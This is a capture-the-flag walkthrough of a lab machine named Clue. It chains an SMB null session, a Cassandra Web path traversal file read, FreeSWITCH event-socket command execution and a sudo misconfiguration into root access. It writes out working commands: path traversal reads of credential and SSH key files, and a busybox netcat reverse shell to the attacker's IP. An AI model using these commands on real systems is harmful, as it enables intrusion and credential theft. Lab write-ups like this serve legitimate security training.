Clue
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Clue leaks a copy of the FreeSWITCH and Cassandra configuration over SMB (null session). On port 3000 runs Cassandra Web 0.5.0, vulnerable to arbitrary file read via path traversal (RFI/LFI); with that RFI we readevent_socket.conf.xmland obtain the real FreeSWITCH password (StrongClueConEight021), whose mod_event_socket allows command execution (credentials in config) and gives a shell asfreeswitch. The same RFI over/proc/self/cmdlinerevealscassie's credentials (SecondBiteTheApple330), reusable viasu(reuse). To escalate,cassiecan runcassandra-webasrootviasudo: we relaunch it asrootand abuse its path traversal to readanthony's private SSH key (authorized inroot'sauthorized_keys), which logs us in asroot.
Recon
Initial scan
The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.
ping -c 1 192.168.142.24064 bytes from 192.168.142.240: icmp_seq=1 ttl=61 time=29.5 msWe sweep all TCP ports and fingerprint versions on the open ones:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.142.240PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open netbios-ssn
3000/tcp open http
8021/tcp open freeswitch-eventnmap -p22,80,139,445,3000,8021 -sCV 192.168.142.240 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 (403 Forbidden)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3000/tcp open http Thin httpd (Cassandra Web)
8021/tcp open freeswitch-event FreeSWITCH mod_event_socketFour fronts: an anonymous SMB, a Cassandra Web on 3000, FreeSWITCH (VoIP PBX) on 8021 with its event socket, and an Apache returning 403. The SMB + Cassandra + FreeSWITCH combination sets the machine's script.
SMB - TCP 445
With a null session we enumerate the shares: backup is readable.
netexec smb 192.168.142.240 -u '' -p '' --shares
smbclient //192.168.142.240/backupShare Permissions Remark
----- ----------- ------
print$ Printer Drivers
backup READ Backup web directory shares
IPC$ IPC Service (Samba 4.9.5-Debian)Inside are two folders, freeswitch and cassandra, with binaries and configuration files. We download them whole to review later:
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *They're a copy of both services' configuration; they'll be the lead for the passwords.
Cassandra Web - TCP 3000
Port 3000 serves Cassandra Web, a panel for the Cassandra database (here 3.11.13):

Cassandra Web
Cluster Status
Hosts
Datacenter: datacenter1
ip id rack version status
127.0.0.1 39c6f1e3-d798-44ce-b216-ce0f664fc0af rack1 3.11.13 up
Keyspaces
system_auth CREATE KEYSPACE system_auth WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '1'} AND durable_writes = true;
system_schema CREATE KEYSPACE system_schema WITH replication = {'class': 'LocalStrategy'} AND durable_writes = true;
system_distributed CREATE KEYSPACE system_distributed WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '3'} AND durable_writes = true;
system CREATE KEYSPACE system WITH replication = {'class': 'LocalStrategy'} AND durable_writes = true;
system_traces CREATE KEYSPACE system_traces WITH replication = {'class': 'SimpleStrategy', 'replication_factor': '2'} AND durable_writes = true;The panel asks for no credentials and already hands over what matters: the node's 3.11.13 version and the five system keyspaces. That version is what opens the next step.
searchsploit finds a file read for this version:
searchsploit 'cassandra'
searchsploit -m linux/webapps/49362.pyCassandra Web 0.5.0 - Remote File Read | linux/webapps/49362.pyFile read (RFI)
Cassandra Web 0.5.0: arbitrary read via path traversal
The 49362.py exploit abuses the fact that Cassandra Web builds the resource path by prefixing repeated ../ (in the code, DT='../' and DT_NUM=8) without sanitizing, which allows reading any file on the system (path traversal). The DT_NUM=8 isn't magic: the exploit prepends the ../ sequence eight times, more than enough to climb from the application's working directory up to the root /. Overshooting levels breaks nothing, because on a filesystem /.. is still /: eight is simply a number high enough to guarantee reaching the root without knowing the exact depth the service runs from.

In the code itself (/var/lib/gems/2.7.0/gems/cassandra-web-0.5.0/app/public) you can see the root of the flaw: DT = '../', DT_NUM = 8 and the payload = urllib.parse.quote_plus(DT * self.number + self.file), which concatenates the requested path without sanitizing.
python3 rfi.py -p 3000 192.168.142.240 /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
cassie:x:1000:1000::/home/cassie:/bin/bash
anthony:x:1001:1001::/home/anthony:/bin/bashThree accounts with a shell: root, cassie and anthony.
We have arbitrary read, but we don't yet know which specific file gives the next step. We try /proc/self/cmdline to see how the service itself is running:
python3 rfi.py -p 3000 192.168.142.240 /proc/self/cmdline
/usr/bin/ruby2.5/usr/local/bin/cassandra-web-ucassie-pSecondBiteTheApple330The command line (with null bytes as separators) already exposes the user cassie and its password SecondBiteTheApple330; we'll return to them after pivoting through FreeSWITCH.
Before squeezing the RFI, we look at the other exposed service: FreeSWITCH.
Shell as freeswitch
FreeSWITCH: real password via RFI and RCE
FreeSWITCH's mod_event_socket allows running commands if you know the socket password. The public exploit ships the default password, ClueCon, but it fails:
searchsploit -m windows/remote/47799.txt # -> rce.py
python3 rce.py 192.168.142.240 'whoami'Authentication failedThe password has changed. Since we have the FreeSWITCH files from SMB (and, better still, arbitrary read via RFI), we look for where it's defined. The SMB copy turns out to be out of date, so we read the server's live file via RFI, event_socket.conf.xml, which holds the real password:
python3 rfi.py -p 3000 192.168.142.240 /etc/freeswitch/autoload_configs/event_socket.conf.xml<param name="password" value="StrongClueConEight021"/>That's the event socket password (credentials in config). We put it in the exploit and confirm execution:
# in rce.py: PASSWORD='StrongClueConEight021'
python3 rce.py 192.168.142.240 'whoami'
python3 rce.py 192.168.142.240 'id'
freeswitch
uid=998(freeswitch) gid=998(freeswitch) groups=998(freeswitch)Before triggering the shell, we set up an nc listener:
nc -nlvp 80We run as freeswitch. We fire a reverse shell with busybox netcat:
python3 rce.py 192.168.142.240 'busybox nc 192.168.45.227 80 -e /bin/bash'
freeswitch@clue:/$ whoami && ip a
freeswitch
...
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ...
inet 192.168.142.240/24 brd 192.168.142.255 scope global ens192
freeswitch@clue:/$The shell lands as freeswitch on host clue (192.168.142.240).
We read the first proof:
cat /var/lib/freeswitch/local.txt && whoami && ip a && hostname
de1dd063238f052a23ddf2610de15bc5Shell as cassie
Credential reuse (proc/cmdline)
Back to the Cassandra Web RFI over /proc/self/cmdline: the process command line reveals that cassandra-web was started with a username and password in cleartext:
python3 rfi.py -p 3000 192.168.142.240 /proc/self/cmdline
/usr/bin/ruby2.5 /usr/local/bin/cassandra-web -u cassie -p SecondBiteTheApple330cassie's password (reuse) works to switch user from the freeswitch shell:
su cassie # SecondBiteTheApple330
freeswitch@clue:/home/cassie$ su cassie
Password:
cassie@clue:~$ whoami
cassieWe are now cassie.
Privilege escalation
sudo cassandra-web: path traversal to root's SSH key
We check cassie's sudo:
sudo -lUser cassie may run the following commands on clue:
(ALL) NOPASSWD: /usr/local/bin/cassandra-webShe can run cassandra-web as root (sudo abuse). The idea: relaunch the panel itself as root on another port and reuse its path traversal, which will now read files with root privileges. We start it on 1337 with cassie's credentials:
sudo -u root /usr/local/bin/cassandra-web -B 0.0.0.0:1337 -u cassie -p SecondBiteTheApple330 &
curl localhost:1337 | grep cassandraWith that instance (running as root) we abuse the path traversal to read restricted files. We could now read any file on disk, so it's worth choosing deliberately instead of going blind: the goal is a direct way into root, and the file that gives it fastest is root's authorized_keys, because it tells us which public key already has permission to log in as root without guessing anything. We start there:
curl localhost:1337/../../../../../../../../../root/.ssh/authorized_keys --path-as-is
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDn2IL7JIn0X/FanxBWS8G9racIWKRnRVPuGSG0DG6NFGoq0Esol53X0<SNIP>Ap9uw12pR7jjkWS8+avLLHsh/8NoyhJhI+H anthony@clueThe authorized key belongs to anthony@clue. If we read anthony's private key, we can authenticate as root (because his public key is in root's authorized_keys). We read /home/anthony/.ssh/id_rsa:

We save the key and log in over SSH as root:
curl localhost:1337/../../../../../../../../../home/anthony/.ssh/id_rsa --path-as-is > id_rsa
chmod 600 id_rsa
ssh -i id_rsa root@localhost
% Total % Received % Xferd
100 1823 100 1823 0 0 445k 0
cassie@clue:~$ ssh -i id_rsa root@localhost
Linux clue 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
...
Last login: Tue Jan 6 12:47:04 2026 from 192.168.45.227
root@clue:~# whoami
rootanthony's private key authenticates as root (his public key was in root's authorized_keys).
We read the final proof:
cat /root/proof_youtriedharder.txt && whoami && ip a && hostname
9f5f2facf3d5339e31f057c79200eefdAttack chain
SMB null session (445) -> copy of FreeSWITCH/Cassandra config
Cassandra Web 0.5.0 (3000) -- path traversal (RFI, 49362.py)
│ read event_socket.conf.xml -> FreeSWITCH pass StrongClueConEight021
▼
FreeSWITCH mod_event_socket (8021) -- RCE (rce.py)
│ busybox nc -> reverse shell
▼
shell as freeswitch (local.txt)
│ RFI /proc/self/cmdline -> cassie:SecondBiteTheApple330 -> su
▼
shell as cassie
│ sudo -u root cassandra-web -B 0.0.0.0:1337 (path traversal as root)
│ read /root/.ssh/authorized_keys (anthony@clue) -> /home/anthony/.ssh/id_rsa
│ ssh -i id_rsa root@localhost
▼
shell as root (proof_youtriedharder.txt)Lessons learned
- Exposed backups are intelligence. The anonymous SMB handed over the FreeSWITCH and Cassandra config. Even though the copy was stale (the real password had changed), it revealed the structure and the files to look for later with the RFI.
- A read path traversal chains the whole box. The same Cassandra Web flaw served three times: reading the FreeSWITCH password, reading
/proc/self/cmdline(cassie's credentials) and, already asroot, readinganthony's SSH key. Reading arbitrary files is almost never "just reading". - Credentials on the command line are visible to everyone. Starting
cassandra-webwith-p SecondBiteTheApple330leaves the password in/proc/<pid>/cmdline. Pass secrets via a file or a protected environment variable, never as an argument. - A
sudobinary that can read files asrootis a wildcard. Relaunching the panel asrootturned an unprivileged path traversal into full disk read, enough to steal an SSH key and jump toroot.